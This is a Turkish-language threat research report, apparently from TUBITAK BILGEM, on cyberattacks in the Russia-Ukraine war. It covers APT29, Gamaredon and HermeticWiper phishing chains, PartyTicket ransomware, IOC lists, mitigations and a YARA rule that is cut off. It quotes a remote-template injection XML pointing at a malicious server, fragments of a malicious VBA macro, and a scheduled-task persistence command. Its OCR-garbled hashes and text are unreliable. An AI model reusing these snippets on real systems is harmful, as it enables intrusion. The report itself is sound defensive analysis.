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Yonetici Ozeti

Bilgisayarlarin hayatin igerisinde yaygin olarak yer almasi ve giinliik yasantimizdaki birgok faaliyetin bilgi
sistemleri iizerinden yapilmasiyla beraber bu sistemlerin giivenligi de 6nem kazanmistir. Sayisal ortamda
gerceklestirilen giivenlik ihlallerinin artmasi bu konudaki ilgiyi artirmis, ¢esitli onlemler alinmasina ve savunma
mekanizmalari gelistirilmesine yol agmustir. Sayisal ortamda sadece bireysel ihlaller yapilmamaktadir, organize sug
isleme, saldir1 gergeklestirme olaylar1 da gdzlemlenmektedir.

Ukrayna-Rusya savast resmi olarak 24 Subat 2022 tarihinde baslamistir. Siber uzayda yasanan hareketlilik
savagin baglangicinda baslamis, giiniimiizde de devam etmektedir. Siber savas, bir devletin, baska bir devletin
bilgisayar sistemlerine veya aglarina hasar vermek ya da kesinti yaratmak iizere gergeklestirilen sizma faaliyetleri
olarak tanimlanmaktadir. Siber savas olmas1 halinde iilkenin kritik altyapilarindan bir ya da birkag¢ tanesine zarar
gelebilir. Ukrayna-Rusya savasinin siber boyutu ele alindiginda asagidaki istatistiki bilgiler mevcuttur:

1. Rusya'ya yapilan Dagitik Hizmet Dis1 Birakma (DDoS) saldirisinda yaklasik 17 bin adet IP adresi tespit
edilmistir.

2. Yaklagik 70 adet hiikiimet websitesi siber saldirtya ugramistir.

3. Ukrayna'y1 destekleyen ve ilgili Telegram kanalina abone olan hacker sayis1 265 bini gegmistir.

4. 60'dan fazla hacker grubu global ¢apta bu savasta rol oynamistir.

5. Savag siiresince 50'den fazla CVE (Common Vulnerabilities and Exposures [Ortak Giivenlik Zafiyetleri ve
Etkilenmeler]) kullanilmistir.

TUBITAK BILGEM Siber Giivenlik Enstitiisii tarafindan hazirlanan tehdit arastirma raporu kurum, kurulus ve
organizasyonlar ic¢in bilgilendirme niteliginde olup bahsi gegen tehditlerin olusturacagi riskleri azaltmayi
hedeflemektedir. Rapor, tehdit senaryolari ile birlesik saldirilart agiklamanin yanisira yeni zararli yazilimlar i¢in
arasgtirma sonuglarini da sunmaktadir. Raporun sonunda alinmasi gereken dnlemler asagida listelenen konu bagliklar
cercevesinde detaylandirilmis olup, bu 6nlemlerin kurumlar tarafindan dikkate alinip uygulanmasi 6nem arz

etmektedir:
1. Makro komut dosyalarinin devre dis1 birakilmasi
2. Spam filtreleme
3. Oltalama saldirilarina karsi olarak ¢aliganlara egitim verilmesi
4. Reklam bloklama
5. Olay miidahalesi plant
6. Yama yOnetimi
7. Givenlik duvarlart
8. Saldin tespit veya dnleme sistemleri (IDS/IPS)
9. Endpoint detection and response (EDR)

10. Parola politikalari

11. Calistirma 6nleme (Execution Prevention)

12. Antivirus/Antimalware

13. Kod imzalama

14. Programlarin gereksiz 6zelliklerinin devre dis1 birakilmasi veya kaldirilmasi
15. Yetkili hesap yonetimi

16. Boot biitiinligii

17. Ug noktada davranis dnleme

18. Ag sizma dnleme

19. Veri yedekleme

20. Kullanict hesap yonetimi

21. Kayit defteri izinlerinin sinirlanmasi

22. Denetim

23. Isletim sistemi konfigiirasyonu

24. Dosya ve dizin izinlerininin kisitlanmasi

25. Monlisti devre dis1 birakilmasi

26. Kaynak IP dogrulamasi yapilarak spoof'lanmis paketlerin ag1 terketmesi engellenmesi
27. UDP flood

TASNIF DISI
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1 Giris

Bilgisayarlarin hayatin igerisinde yaygin olarak yer almasi ve giinliikk yasantimizdaki bir¢ok faaliyetin bilgi
sistemleri iizerinden yapilmasiyla beraber bu sistemlerin giivenligi de Onem kazanmistir. Sayisal ortamda
gerceklestirilen giivenlik ihlallerinin artmast bu konudaki ilgiyi artirmis, ¢esitli dnlemler alinmasina ve savunma
mekanizmalari gelistirilmesine yol agmistir. Sayisal ortamda gergeklestirilen giivenlik ihlalleri sayisal ortam saldirist
olarak adlandirilmaktadir. Sayisal ortam saldirilarinin farkli amaglari ve farkli sonuglari olabilir. Sayisal ortam
saldirilarinin motivasyonu, hedefleri ve uygulama ydntemleri Tablo 1’de gdsterilmistir.

MOTIVASYON  |[HEDEF Y ONTEM
Siber Terdr Politik degisiklikler [Masum Bilgisayar-tabanl siddet ve yikim
lkullanicilar
Hactivism' Politik degisiklikler [Karar vericiler Saldir
Cracking' Ego, Sahislar, Firmalar JSaldiri, A¢iklik kullanimi
[Kisisel dismanlik [Devletler (Alenen yapilabilmektedir)
Siber Sug Ekonomik fayda  |Saliuslar, Firmalar [Sahtekarhk, ID c¢alma, Santaj|

Saldir1, A¢iklik kullanim

Siber Casusluk  |Ekonomik fayda  [Sahislar, Firmalar |Saldiri, Aciklik kullanimi

Devletler (Nadiren alenen yapilmaktadir)
Devletler Politik veya askenAltyapa, askenSaldiri, A¢ikhik kullammi, Fiziksel
seviyesinde  bilgijfayda bilesenler saldirilar

savaglar1  (Sayisall
Ortamda Savas)
Tablo 1: Sayisal ortam saldirilarimin tiirleri, hedefleri ve yontemleri 1

Sayisal ortamda sadece bireysel ihlaller yapilmamaktadir, organize sug isleme, saldir1 gergeklestirme olaylari
da gozlemlenmektedir. Bu suclardan en organize sekilde gergeklestirileni olan sayisal ortamda savas, ilk olarak 27
Nisan — 18 Mayis 2007 tarihleri arasinda Rus saldirganlar tarafindan Estonya’ya kars1 gergeklestirilmistir. Agustos
2008°de Giiney Osetya’da Giircistan ve Rusya arasindaki askeri catigmalarla beraber Rus saldirganlarin Giircistan
bilgi sistemlerine karsi gerceklestirdikleri saldirilar sayisal ortamda savasin bir diger ornegidir. Sayisal ortamda
savagin tanimini yapacak olursak, genel olarak ekonomik, politik, askeri veya psikolojik amagclar i¢in hedef secilen
iilkeye yonelik bilgi ve iletisim sistemleri lizerinden gerceklestirilen organize saldirilar biitiiniidiir. Saldirganlarin
teknik giicli ve motivasyonuna bagli olarak sayisal ortamdaki savaglar farkli amaglara hizmet edebilir. Bilginin ele
gecirilmesi, degistirilmesi veya bilgiye erisimin engellenmesi amag olarak seg¢ilmis olabilir. Bu amaglara hizmet
etmek i¢in web sayfalarinin ele gegirilmesi, hizmet disi birakma (DoS) saldirilari, internet lizerinden karsi
propaganda, gizlilik dereceli bilgilerin ele gegirilmesi, dagitik hizmet disi birakma (DDoS) saldirilari, kritik
sistemlere yonelik saldirilar (enerji altyapisi, iletisim altyapisi, kamu hizmetleri, askeri sistemler vb.) etkisi azdan
¢oga dogru siralanmig sayisal ortamdaki saldir1 tiplerine 6rnek olarak verilebilir.

Ukrayna-Rusya savagi resmi olarak 24 Subat 2022 tarihinde baslamistir. Siber uzayda yasanan hareketlilik
savagin baglangicinda baglamis, giiniimiizde de devam etmektedir. Siber savas, bir devletin, baska bir devletin
bilgisayar sistemlerine veya aglarina hasar vermek ya da kesinti yaratmak tlizere gerceklestirilen sizma faaliyetleri
olarak tanimlanmaktadir. Siber savas olmast halinde:

e Niikleer tesislerde, petrol ve dogalgaz hatlarinda sorun ¢ikabilir.
Hava kontrol sisteminin kaybedilmesi sonucu ugaklar havada ¢arpisabilir. Uydu sistemlerinin ele gegirilmesi
uydularin diismesine ya da yoriingeden ¢ikmasina sebep olabilir.
e Elektronik bankacilik durursa bankalardan ve ATM'lerden para ¢ekilemez.
Metro, tren hatlar1 ve trafik 1s1iklarinin arizalanmasi biiyiik kazalara yol agabilir.
Elektrik dagitim sebekesine yapilan olasi bir saldirt durumunda elektrikle ¢alisan higbir alet kullanilamaz.

Kisacasi iilkenin kritik altyapilarindan bir ya da birkag tanesine zarar gelebilir.

Fiziksel savasin oncesinde baslayan siber uzaydaki hareketlilik siber savas devam ederek hacker gruplar

' Bu kelime igin uygun bir Tiirkce karsilik bulunamadigi igin Ingilizce olan orijinal halleriyle
belirtilmislerdir.

TASNIF DISI
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arasinda gerilime neden olmustur. Catigsma siireci yeni zararli yazilimlar1 ortaya ¢ikarmis olup birlesik saldirilari
beraberinde getirmistir. Siber uzayda gergeklesen bu savas sadece taraf i¢in degil, diinyadaki bir¢cok kurulus i¢in
tehdit haline gelmistir. TUBITAK BILGEM Siber Giivenlik Enstitiisii tarafindan hazirlanan tehdit arastirma raporu
kurum, kurulus ve organizasyonlar i¢in bilgilendirme niteliginde olup bahsi gecen tehditlerin olusturacag riskleri
azaltmay1 hedeflemektedir. Rapor, tehdit senaryolart ile birlesik saldirilar1 agiklamanin yanisira yeni zararli yazilimlar
i¢in arastirma sonuglarini da sunmaktadir. Ayrica IOC tablolari, YARA kurallar1 ve diger tedbirler alinabilecek
onlemlere isaret etmektedir.

2 Tehdit Aktorlerinin Kullandiklar1 Saldir1 Senaryolari

Rusya kaynakli bagta APT29, DEV-0586 ve Gamaredon (Actinium) olmak iizere gesitli APT gruplart Covid-19
salgmini kullanarak hedefledikleri iilke ve kurumlara yonelik oltalama saldirilarinda bulunmaktadirlar. Phishing (oltalama)
kotli amaglar dogrultusunda bazi kurum ve kuruluslarin, giivenli gibi goriinerek kullanicilarin kredi karti, kimlik bilgileri
gibi hayati 6nem tasiyan kisisel verilerinin galinmasin1 amaglamaktadir. Insan faktoriinii sémiiren bu siber saldir1 tipi aym
zamanda sosyal mithendislik saldirisi olarak da adlandirilir. Hedefli oltalama saldirilarinda, saldirganlar kurbanlar {izerinde
arastirma yaparak hedefe yonelik “yem” hazirligi yapmaktadirlar. Bu tarz saldirilarda genellikle farkli bir kisi veya
kurumun kimligine biiriinen saldirganlarlar gonderdikleri mesaj, mail veya bildirimleri giivenilir bir kaynaktan gelmis gibi
gostererek kullanicinin zararlt igerigi ¢alistirma ihtimalini arttirmaktadir. Sekil 17 de 6rnek sosyal miihendislik e-posta
saldiris1 gosterilmistir.

De: Embassy of the Republic of Turkey <mindari@c
Enviada: 17 de fevereiro de 2022 10:39
Assunto: Embassy closure due to COVID-19

Important information.
Due to the deterioration of the epideniological situation, as well as due the increase in the number of sick of the Omicron COVID-19 embassy staff, the Embassy of the Republic of Turkey is being 1

Please check the list of sick employees to identify the possibility of contact with them.

All detailed information about the sick, as well as about the new mode of operation of the embassy in the attachment

Please confirm receipt of the email with a return response
Best regards,
Embassy of the Republic of Turkey

Necmettin Sadak

email: necmettin.sadak@mfa.gov.tr

Sekil 1 APT29 Tarafindan Tiirk Konsoloslugunun Adi Kullanilarak Atilan Oltalama Mail Ornegi

Mesajin igerigi saldir1 gruplarimin kullandiklart teknik ve yontemlere gore degisse de, aslinda birbirleriyle benzer olarak
¢ogu hedef sistem tizerinde komut ¢aligtirma veya iglemler yapmay1 amaglamaktadir.

Gamaredon grubunun en ¢ok kullandigi erisim yontemlerinden birisi, uzak sablonlar kullanan k6tii amagli makro eklerini
hedef odakli oltalama e-postalarinda kullanmaktir. Bir belgenin kot amagli kodu, makrolari igeren uzak bir belge
sablonunu yiliklemesine neden olmaktadir. Uzak sablon enjeksiyonu (remote template injection) kullanilmasi, k6tii amaglt
icerigin yalnizca gerektiginde (6rnegin, kullanict belgeyi agtiginda) yiiklenmesini saglar. Bu, saldirganlarin, ekleri kotii
amaglt igerik i¢in tarayan sistemler tarafindan statik algilamalardan kagimmasina yardimci olmaktadir. Kotii amaglt
makronun uzakta saklanmasi, bir saldirganin kétii amagh bilesenin ne zaman ve nasil teslim edildigini kontrol etmesine
olanak tanmakta ve otomatik sistemlerin kotli amaglh bileseni almasini ve analiz etmesini engelleyerek algilamadan
kaginmaktadir.

TASNIF DISI
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BILGEM

COVID (Weekly Epi)

@ The World Health Organization <noreply@who-intinfo>
To

'J, Some of the content in this message couldn't be downloaded because you'te working offline or aren’t connected to a nebwork,

@ 20210728, doex T
S I

&

WHO Headquarters in Genewva

Ayenue sppia 20
1211 Geneva
Switzerland

Telephone: +41 22 791 21 11
Sekil 2 Actinium Grubunun Kullandigi Sahte Covid Mail Ornegi [23]
APT29 grubu bir saldirisinda “Covid.iso” dosyasinin igerigine javascript kodu gomerek igerisinde zararli dosyayi ¢cozmeyi
amaglar. Bu grubun kullandig: tekniklerde genellikle “.Ink” ve “.html” uzantili dosyalari kullandigi tespit edilmistir. Disk
goriinti dosyasi, Cobalt Strike Beacon't virlislii sisteme yiikleyen bir PowerShell kodu parcasini calistirmak igin
“mshta.exe” kullanilarak yiiriitiilen bir HTML dosyasi igerebilmektedir. Mshta, Windows'ta hali hazirda var olan ve gesitli

sekillerde kod yiirtitebilen imzali, yerel bir Microsoft aracidir. Kod yiiriitmek i¢in genellikle uzak bir sistemde yazilmig
“ hta” uzantili zararli komut pargasini kullanmaktadir.

C:\Users\Crazyman\Desktop\4795936935673856\Covid.iso\

NiF) ®EBE) EE(V) BEA) IET) FEKH)

-y o w X i

N IRE MG S5 #w ik S8

% ([ C:\Users\Crazyman\Desktop\4795936935673856\Covid.iso\

KN EEEARAN ZETE aieladiE)
611742 612 352 2022-02-1... 2022-02-

| Y Covid.Ink 1584 2048 2022-02-1... 2022-02-

Sekil 3 APT 29 Grubunun Kullandigi Zararli Covid Dosyast

APT?29 grubunun aksine DEV-0586 grubu Ukrayna’y1 hedefleyen saldirilarinda HermeticWiper zararli yazilimini kurban
makineye indirtmek icin “.rar” seklinde sikistirilmig arsiv gondermeyi tercih etmektedir. Rar icerisine gomiilmiis zararl
“macro” barindiran bir Word klasorii araciligiyla VBScript ¢alistirmayi tercih etmektedir.

TASNIF DISI
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" ‘ Contains % Downloads and Executes
................ >
@ docx
RAR L=t —
Malicious Email RAR attachment Document Template
&
T &
Opens od‘p\
Drops
and
Executes
User A4

Cc licate: @I Downloads and Executes P
| «——» <
-

C2 Server Secondary Payload
Sekil 4 HermeticWiper Salduri Semast [13]

VBScript

Word belgesi ¢alistirildiktan sonra zararli, uzak konumdan makro tabanli bir sablon indirir. Word igerisine direkt olarak
macro payload gomiilmesi de ayn1 islemi yapacaktir ancak giivenlik politikalar1 ve antiviriisler tarafindan algilanmasi daha

zor oldugu igin boyle bir ¢oziim gelistirilmistir.
<?xml version="1.0" encoding="UTF-8" standalone="yes"7?>
<Relationships
xmins="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship
Id="rld1"
Type="http://schemas.openxmliformats.org/officeDocument/2006/relationships/attached Template
" Target="hxxp://surname192.temp. swiest[.Jru/prapor/su/derg.gif"
TargetMode="External"/></Relationships>

Sekil 5 Makro Indirilen Uzak Sunucu [24]

Giincel makro tabanli saldirilar kullanici etkilesimi gerektirmeyecek sekilde ¢aligmaktadir. Uzak sisteme baglanan
Word dosyas1 macro eklentisini ¢alistirarak kurban sistemde komut ¢alistirmasini saglayabilir. Giincel yapilan saldirilarda
« gif” uzantili dosyalar kullanilarak saldirilar diizenlenmektedir. Gegtigimiz senelerde APT29 grubunun, “.dot” uzantili,
icerisine VBScript gomiilmiis zararli yazilimlar: kullandig tespit edilmistir.

Private Sub Document_Close()

On Error Resume Mext

Dim FLXIDwp

Set F1XJIDwp = Createlbject("WScript.Shell")

Set JeZuMLL = CreateObject("Scripting.FileSystemObjact™)

GKbRKFw = Environ("USERPROFILE") + "\PrintSoftware"

If Mot JeZuMLL.FolderExists(GkbRKFw) Then JeZuMLL.CreateFolder (GkbRKFw)
JKvwrld = Environ("Windir®)} + "\System32\wscript.exe"

DZvFiXZ = GkbRKFw + "\PrintDriver.exe"

If Mot JeZuMLL.FileExists{0ZvFiXZ) Then JeZuMLL.CopyFile JKwwrld, 0ZwFiXZ, True
JeZuMLL.CopyFile JKwwrld, 0ZvFiXZ, True

RO

Sekil 6. Actinium grubu zararli makro 6rnegi [24]

Giliniimiizdeki saldirilarda ise bunun varyantlar1 daha da gelistirilmistir. HermeticWiper zararli yazilimi bulastirilan
sistemlerde sablonun i¢indeki makro kodu, ¢cok sayida gereksiz kod eklenerek karistirilmaktadir. Bu sadece makro kodunun

boyutunu sigirmekle kalmamakta, ayn1 zamanda kod analizini de engellemektedir. Gergeklestirdigi ana islemler, Makro
indirmek ve VBScript ¢aligtirmaktir.
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’ TUBITAK Bilisim ve Bilgi Giivenlidi Ileri Teknolojiler Arastirma Merkezi
" Siber Guvenlik Enstitisi
BILGEM Rusya-Ukrayna Siber Savas Tehdit Arastirma Raporu

P {11 1} 1 S—

gnivE = gnive &

gx:}UB = gnjiE &
Sekil 7 Zararl VBScript[13]

Sistemlerde ¢alistirilan zararli dosyalar araciligiyla fidye veya DDOS gibi kotii amagli yazilimlarin kurban makinelerde

calistirilmasi saglanabilir.

Actinium grubu zararli dosyalar1 ¢alistirmak ve kalicilik saglamak i¢in gérev zamanlayicisini kullanir.
"C:\Windows\System32\schtasks.exe" /CREATE /sc minute /mo 13 /tn "deep-worn" /tr "wscript.exe "
C:\Users\Public\\user\deep-worn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F

Actinium grubunun ayirt edici saldir1 yontemlerinden birisi olara SFX dosyalarini kullanmasi 6rnek verilebilir.
VBS script’in, self-extracting (SFX) arsivi kullanarak kurban bilgisayarlara uzaktan erisimi saglamak i¢in kullandig1 gesitli
acik kaynakli UltraVNC yazilim paketlerini kurdugu tespit edilmistir. Basit bir Batch komut dosyasi yardimiyla VNC
kurulumu yapilarak firewall araglarini atlatmay1 hedeflemektedir.

Windows Defender imzalari

= Trojan:MSIL/QuietSieve.Gen!dha

=  TrojanDownloader:VBS/ObfuMerry.A!dha

=  TrojanDownloader:VBS/ObfuBerry.A!dha

=  TrojanDropper: Win32/PowerPunch.A!dha

=  TrojanDropper:Win32/DinoTrain.gen!dha

=  TrojanDownloader:VBS/DessertDown.A!dha
=  TrojanDownloader: VBS/DessertDown.B!dha
=  TrojanDownloader:Win32/DilongTrash!dha

=  TrojanDownloader:Win32/PterodoGen.A !dha
=  TrojanDownloader:Win32/PterodoGen.B !dha
=  TrojanDownloader:Win32/PterodoGen.C!dha

2.1 10C Bilgileri

Dosya 34679.cmd, MSRC4Plugin_for_sc.dsm, QlpxpQpOpDpnpRpC.ini, UltraVNC.ini, YilbIbIqIZIiIBI2.jpg,
Isimleri kqTSTMTETyYTIT4TG.jpg, owxxxGxzxqxxxExw.jpg, rc4.key, Covid.iso, Covid.html, ypagjgfyy.dll

P 92.242.62[.196

Adresleri | 194.67.116[.]67
176.118.165[.176
95.179.221[.]1147
104.238.189[.1186
70.34.198[.]226
194.180.174[.146
89.108.78[.182
80.78.241[.1253
212.109.199[.1204
185.46.10[.]143
194.67.109[.]1164

Hash €e29eb3980dff9034b1c539a799cedc1428224855e6d515d81da226448b81521

Degerleri [ af25a7b21b7f513ec37e7230f96aaebb21e38c4f74e011fc5613faec10a7465d9
de48172aa4a204d8eaa00e8bbe774fcbf1575066eaf41d259fd291a22d4eadce
0a808f836bd3ab7e774e2baba71e7e9f3f35b9a88982bc6cc2b7aceSaaSed3fe

TASNIF DISI


https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:MSIL/QuietSieve.Gen!dha&threatId=-2147156097
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:VBS/ObfuBerry.A!dha&threatId=-2147156952
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDropper:Win32/PowerPunch.A!dha&threatId=-2147173278
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDropper:Win32/DinoTrain.gen!dha&threatId=-2147155912
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:VBS/DessertDown.A!dha&threatId=-2147156954
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:VBS/DessertDown.B!dha&threatId=-2147156953
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Win32/DilongTrash!dha&threatId=-2147156950
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Win32/PterodoGen.A!dha&threatId=-2147155901
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Win32/PterodoGen.B!dha&threatId=-2147155900
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Win32/PterodoGen.C!dha&threatId=-2147155899
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ea68d8da67ebf9dbe1c3af590768704135f5230a15b9e1114bdeS1d7e8e9e39f
a81a3c6¢c1a89310d78a7913a6184aee5f093a99eeada9atbca5175¢1e30099d
adc9077d9807e83e6cdb1976ec9701330e1791f33bcaf9ee2bl13b59923627¢e4
5727af66a2ff9bd5e6884fecacef249d978ad47a55b0a240ea0f23270f42b895
211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824
74cb6c1c644972298471bff286¢310e48f6b35¢88b5908dbddfal63c85debdee
ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfelcOal3
695fabf0d0f0750b3d53de361383038030752d07b5fc8d1babeb8b3ele7964fa
d8a01f69840c07acebae33e2f76e832¢22d4513c07e252b6730b6de51c2e4385
393475dc090afab9a9ddf04738787199813f3974a22¢13¢cb26f43¢c781e7b632f
ed13f0195c0cf8fc9905¢89915f5b6f704140b36309¢2337be86d87a8f5fef6c
304d63fcd859ea71833cf13b8923f74ebe24abf750de9d01b7849b907f24d33b
1f1650155bfe9a4eb6b69365fc8a791281f866919202d44646e23e7f2f1d3db9
27285¢b2b5bebd5730772b66b33568154c¢d4228¢92913c5ef2e1234747027aas
3225058afbdf79b87d39a3be884291d7baded6ec93d1¢c2010399¢11962106d5b
Oafce2247ffb53783259b7dc5a0afe04d918767¢991db2da906277898fd80beS
e4d30973515326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6£19
1211e0eb49990edbb5de2bcf2f573ea6a0b6f3549¢772fd16bf7cc214d924824
6d4b97e74abf499fa983b73ale6957eadb2ec6a83e2061ff1ab863448e4262c6
eb1724d14397de8f9dca4720dada0195ebb99d72427703cabcb47b174a3bfea2
e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19
b92dcbacbaaf0a05¢805d31762cd4e45¢912ba940c57b982939d79731¢f97217
b3d68268bd4bb14b6d412cef2b12ae4f2a385¢36600676¢1a9988cf1€9256877
a6867e¢9086a8f713a962238204a3266185de2cc3c662fba8d79f0e9b22ce8dd6
a01e12988448a5b26d1d1adecc2dda539b5842f6a7044£f8803a52¢c8bb714cdb0
8a8c1a292eeb404407a9fe90430663a6d17767¢49d52107b60bc229¢090a0ae9
15099fc6aeal 961164954033b397d773ebfdb3ef7a5567feb064329be6236a01
137b£e2977b6719d92b87699d93c0f140d659e990b482bbc5301085003¢c2bd58¢
0e5b4e578788760701630a810d1920d510015367bf90c1eab4373d0c48a921d9
Oafce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80beS
bf90d5db47e6ba3al 840976b6bb88a8d0dfe97dfe02c9ca31b7be4018816d232
0f9d723c3023a6af3e5522f63f649c7d6a8cb2727ec092e0b38ee76cd1bbf1cd
c05f4¢c5a6bb940e94782e07cf276fc103a6acca365ba28e7b4db09b5bbc01e58
3cbe7d544ef4c8ff8e5cle101dbdf5316d0cfbe32658d8692091922309162bcf
3bab73a7ba6b84d9c070bb7f71daab5b40fcb6ee0387b67be51e978a47¢25439
8ed03b1d544444b42385e79cd17¢796fefae71d140b146d0757a3960d8ba3cba
37ea95f7fa8fb51446¢18f9f3aa63df3

97fa94e60ccc91dccbeSee2848f48415
628799F1F8146038B488CI9ED06799B93

URL rimien|.]ru
takak[.]ru
maizuko[.]ru
iruto[.]ru
gloritapal.]ru
gortisir[.Jru
gortomalol.]ru
langosta[.]ru
malgalodal.]ru
alley81.salts.kolorato[.]ru
allied.striman|.]ru
allowance.hazari[.]ru
allowance.telefar|[.]ru
ally.midiatr[.Jru
allocate54.previously.bilorotkal.]ru
alluded6.perfect.b
ilorotka[.]ru
already67.perfection.zanulor[. Jru
already8.perfection.zanulor[.]ru
deep-rooted.gloritapal.]ru
deep-sinking.gloritapal.]ru
deepwaterman.gloritapa[.]ru
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deepnesses.gloritapal.]ru
deep-lunged.gloritapa[.]ru
deerfood.gortomalol.]ru
deerbrook.gortomalo[.]Jru
despite.gortisir[.]ru
des.gortisir[.Jru
desire.gortisir[.]ru

2.2 Tedbir

[1] Makro komut dosyalarmin devre dis1 birakilmasi

[2] Spam filtreleme

[3] Oltalama saldirilarina karsi olarak ¢alisanlara egitim verilmesi

[4] Reklam bloklama

[7] Giivenlik Duvarlari

[8] Saldir tespit veya dnleme sistemleri (IDS / IPS)
Alinabilecek [9] Endpoint detection and response (EDR)

Onlemler [11] Calistirma 6nleme (Execution Prevention)

[12] Antivirus/Antimalware

[13] Kod Imzalama

[17] Ug noktada davranis 6nleme

[18] Ag Sizma Onleme

[21] Kay1t defteri izinlerinin sinirlanmasi

[24] Dosya ve dizin izinlerininin kisitlanmasi
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3 PartyTicket

23 Subat tarihinde Ukrayna’daki bir ¢ok kurulusu hedef alan yikici saldirilar diizenlendi. Go tabanli fidye
yazilimi olan Party Ticket zararlisi saldiridan etkilenen kuruslarin birinde tespit edildi. PartyTicket, muhtemel olarak
HermeticWiper saldirisi i¢in hedef saptirma amaciyla kullanildig: diisiiniilen karmasik olmayan bir fidye yazilimidir.
Zararli, hedeflenen dosyalari GCM (Galois Saya¢ Modu) modunda sifrelemek i¢in kullanilan bir AES anahtari
olusturur. AES anahtar1 deterministic herhangi bir fonksiyonu kullanarak olusturuldugu icin dosyalarin sifresi
¢oziilebilir. Sifrelenecek dosya adi olan tek bir komut satir1 argiimani alir. Eger dosya adi verilmeden calistirilirsa,
bir sifrelenecek dosyalar listesi olugturur. Bu listedeki her dosya i¢in kotii amagli yazilim, gecerli zaman damgasina
ve sistemin MAC adresine dayanan UUID Go kiitiiphane fonksiyonunu g¢agirarak olusturulan bir adi kullanarak
kendisinin yeni bir kopyasini olugturur. Tasarim se¢imi bir zararl i¢in beklenilenin aksine ¢ok sayida kopya dosya
olusturulmaktadir ve zararli ¢alistirilabilir dosya boyutu 3MB’dan biiyiiktiir. Bu durum sistemin yavaslamasina sebep

olmaktadir.
= - = | Desktop — a >
B ome st view o
« «~ 4 B > This PC » Desktop > v [ Search Desktop

Name v
v 3 Quick access ¥ 223b19e0-95c8-11ec-9a7d-000c297 3ade0 Af
Bl Desktop B e25a3a83-95¢B-1Tec-%ad9-000c2973adel
4 Downloads B 225a3aB83-95cB-1Tec-9ada-000c297 3adel Af
i Pocaments ¥ £25aB8a2-95c- 11ec-9ade-000c297 3ade0 Af
W e25aB8a2-95cB-11ec-%adf-000c2973adel Af
& Pictures
B 225388a2-95cE-1Tec-9ae0-000c297 Sadel Af
J' Music
W e25aB88a2-95cB-11ec-%ae1-000c297 3adel Af
toals ¥ 225268a2-95¢8-11ec-9ae2-000c297 3aded
B videos W 225a137a-95cE-11ec-9ad7-000c2973adel
a a- ) ol -
@ OneDrive 225a1372-95¢c8-11ec-9adB-000c2973adel
B 225a137a-95cB-11ec-2ad9-000c2973adel Af
® This PC W 22536197-95c8-11ec-9ada-000c2973aded Af
L] 187~ -11ec-9a - 297 4,
& Network e25ab 95c8-11ec-%adb-000c2973adel I
W e25a6197-95c8-1 1ec-9adc-000c297 Sadel Af
B 225a6197-95c8-11ec-9add-000c2973aded A
B 225a6197-95c8-11ec-9ade-000c2973adel
W e25aafbd-95cB-11ec-9ae2-000c2973adel
B e25aafbd-95¢c8-11ec-9ae3-000c2973adel
B e25aafbd-95c8-11ac-9ae4-000c2973adel Af
W e25aafbd-95¢B-11ec-92e5-000c2973adel A
W e25aafbd-95¢8-11ec-9aeb-000c2973adel Ew
< >
1,306 itenr —

Sekil 8. Kopya Dosyalar [11]

Kopya dosya olusturma isleminden sonra yeni olusturulan ParyTicket kopyas: dosya adi argiimani ile
calistirtlir. PartyTicket sifreledigi tim dosyalara dosya uzantisi olarak
**7 [vote2024forjb@protonmail.com].encryptedJB" ** ekler. Sabit dosya uzantisi kullanimi zararlinin uzant1 adina
gore engelleme yontemlerine olanak saglamaktadir.

TASNIF DISI
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B # | Downloads == [m] x
“ Home Share View a
- - 4+ 8 w (3] Downl
Mame € maodaif 1
# Quick access
B Deskt < Today (1)
esktop
$ Download ChromeSetup.exe.[vote2024fob@ protonmail.com).encrypted)B
ownioads

* Documents

& Pictures

J ! Music
tools

! Videos
B Onelrive
% This PC

& Network

1item

Sekil 9. Sifrelenen Dosya [11]

"Windows" ve "Program Files" dizinindeki klasorlere miidahale etmeyen zararli yalnizca asagidaki uzantiya sahip
dosyalar1 hedefler:

.acl, .avi, .bat, .bmp, .cab, .cfg, .chm, .cmd, .com, .crt, .css, .dat, .dip, .dll, .doc, .dot, .exe, .gif, .htm, .ico, .iso, .jpg,
.mp3, .msi, .odt, .one, .ova, .pdf, .png, .ppt, .pub, .rar, .rtf, .sfx, .sql, .txt, .url, .vdi, .vsd, .wma, .wmv, .wtv, .xls,
.xml, .xps, .zip, .docx, .epub, .html, .jpeg, .pptx, .xIsx, .pgsql, .contact, inc

Kotii amacgli yazilim, Base64 ile kodlanmis hardcoded 2048-bit RSA anahtari yerlestirir. Dosya sifreleme icin
kullanilan AES anahtarini sifrelemek igin bu RSA ortak anahtarini kullanir. Her iki dosya da sifrelendikden sonra,

fidye yazilimin gegici kopyasi silinir. Fidye notu, “read _me.html” dosya adi kullanilarak kullanicinin masaiistiine
yazilir.

3.1 1I0OC Bilgisi
Hash Degeri B 4dc13bb83al16d4ff9865a51b3e4d24112327c¢526¢1392e14d56f20d6f4eaf382

Dosyalar B cdir.exe, cname.exe, connh.exe, intpub.exe

3.2  YARA Kurah
rule PartyTicket_O1 : ransomware golang

{
Meta:

description = "Detects Golang-based crypter"
version = "202202250130"
last_modified = "2022-02-25"
strings:
$ = ".encrypted)JB" ascii
$start = { £f 20 47 6f 20 62 75 69 6¢ 64 20 49 44 32 20 22 }
$end = { 0a 20 ff }
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and

